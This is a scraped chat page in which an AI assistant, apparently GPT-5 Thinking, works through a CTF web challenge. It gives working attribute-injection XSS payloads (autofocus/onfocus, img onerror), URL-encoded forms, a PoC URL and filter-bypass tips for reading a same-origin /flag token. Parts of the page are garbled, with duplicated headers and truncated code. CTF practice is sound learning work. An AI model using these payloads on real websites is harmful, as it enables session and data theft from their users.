分析这道CTF web题目: Web 100-2 This Must Be the Place100...
बनाया गया: 3 नवंबर 2025
का उपयोग करके उत्तर दिया गया GPT-5 Thinking द्वारा Chat01
बनाया गया: 3 नवंबर 2025
का उपयोग करके उत्तर दिया गया GPT-5 Thinking द्वारा Chat01
分析这道CTF web题目:
Web 100-2 This Must Be the Place100 Points
A naïve developer tried to be helpful and filtered out a few characters — but filters are not enough. Find a way to get the site to run JavaScript in your browser and use it to read the flag. The flag is only available via a same-origin fetch to /flag.
网页源码为:
pythonimport urllib.parse payload1 = '" autofocus onfocus="location=\'/flag?token=\'+window.FLAG_TOKEN" x="' payload2 = '" autofocus onfocus="fetch(\'/flag?token=\'+window.FLAG_TOKEN).then(r=>r.text()).then(t=>alert(t))" x="' payload3 = '" autofocus onfocus="(async()=>{const u=\'/flag?token=\'+encodeURIComponent(window.FLAG_TOKEN);const r=await fetch(u);document.getElementById(\'results\').textContent=await r.text();})();" x="' print("Payload1:", payload1) print("URL-encoded 1:", urllib.parse.quote(payload1, safe='')) print("\nPayload2:", payload2) print("URL-encoded 2:", urllib.parse.quote(payload2, safe='')) print("\nPayload3:", payload3) print
pythonimport urllib.parse payload2 = '" autofocus onfocus="fetch(\'/flag?token=\'+window.FLAG_TOKEN).then(r=>r.text()).then(t=>alert(t))" x="' print(urllib.parse.quote(payload2, safe=''))
思路很直接:拿到一个可执行的 XSS,在同一页里读 window.FLAG_TOKEN,再用它去访问同源的 /flag。因为这个 token 每次刷新都会变,而且只暴露在当前页面的 JS 里(源码里已经写明了:<!-- Expose the per-page token to same-origin JS -->),所以必须在注入成功的这一页里读取 token,不能提前构造固定链接。
下面给你一套稳定的打法,假设服务端把查询参数 name 直接写回到了这个输入框的 value 里(典型“搜索框回显”):
html<input id="name" name="name" value="<-- 这里插入你的输入 -->" />
很多“天真过滤”只会黑名单掉 <、> 或者 <script> 之类,但属性注入根本不需要再写新的标签;只要能打断 value="..." 的引号,我们就能在现有的 <input> 上塞入新属性。利用 autofocus + onfocus 可以无用户交互自动触发。
原始(便于理解):
" autofocus onfocus="location='/flag?token='+window.FLAG_TOKEN" x="
作用:
- 先用
"结束value;- 加
autofocus让浏览器加载后自动聚焦该输入框;onfocus在聚焦瞬间执行 JS,把页面直接跳转到/flag?token=<当前页面的 FLAG_TOKEN>;- 这样你浏览器就会打开 flag 页(同源),直接看到 flag 内容。
URL 编码后的形式(放在 ?name= 后面即可):
%22%20autofocus%20onfocus%3D%22location%3D%27%2Fflag%3Ftoken%3D%27%2Bwindow.FLAG_TOKEN%22%20x%3D%22
完整 PoC 示例:
https://目标站点/?name=%22%20autofocus%20onfocus%3D%22location%3D%27%2Fflag%3Ftoken%3D%27%2Bwindow.FLAG_TOKEN%22%20x%3D%22
这条 payload 的好处是——不需要 fetch()、不需要括号;很多题目会把括号或 fetch、onerror 之类也过滤掉,直接 location=... 最稳。
把 location=... 换成 fetch 也行(有些赛题的 /flag 只允许 fetch,而不是导航):
原始:
text" autofocus onfocus="fetch('/flag?token='+window.FLAG_TOKEN) .then(r=>r.text()).then(t=>{document.querySelector('#results').textContent=t})" x="
URL 编码(缩写成一行后再编码即可):
%22%20autofocus%20onfocus%3D%22fetch%28%27%2Fflag%3Ftoken%3D%27%2Bwindow.FLAG_TOKEN%29.then%28r%3D%3Er.text%28%29%29.then%28t%3D%3E%7Bdocument.querySelector%28%27%23results%27%29.textContent%3Dt%7D%29%22%20x%3D%22
也可以把最后一步换成
alert(t),看个人喜好。
</>。我们只是结束现有属性的引号,然后添加新的合法属性(autofocus/onfocus),浏览器正常解析并执行。<script>、onerror 等关键字,这个方案仍然有效,因为用到的是 onfocus,而不是那些常见黑名单项。window.FLAG_TOKEN。离开该页或先行构造固定链接都无效。' autofocus onfocus='location="/flag?token="+window.FLAG_TOKEN' x='
on... 黑了,但你的输入还会被插进页面其他位置(比如 #results 里用 innerHTML 渲染),可以换元素注入(需要能打出 <):
<img src=x onerror="location='/flag?token='+window.FLAG_TOKEN">
location= 这种无括号的写法;或者用模板字符串:
onfocus="location=`/flag?token=${window.FLAG_TOKEN}`"
总之,这题的关键是用属性注入 + 自动触发事件拿到执行权,然后在同源上下文里读 window.FLAG_TOKEN 并访问 /flag。上面的第一条 payload(autofocus + onfocus + location)在这类“只过滤了少数字符”的场景里非常通杀。祝你拿分!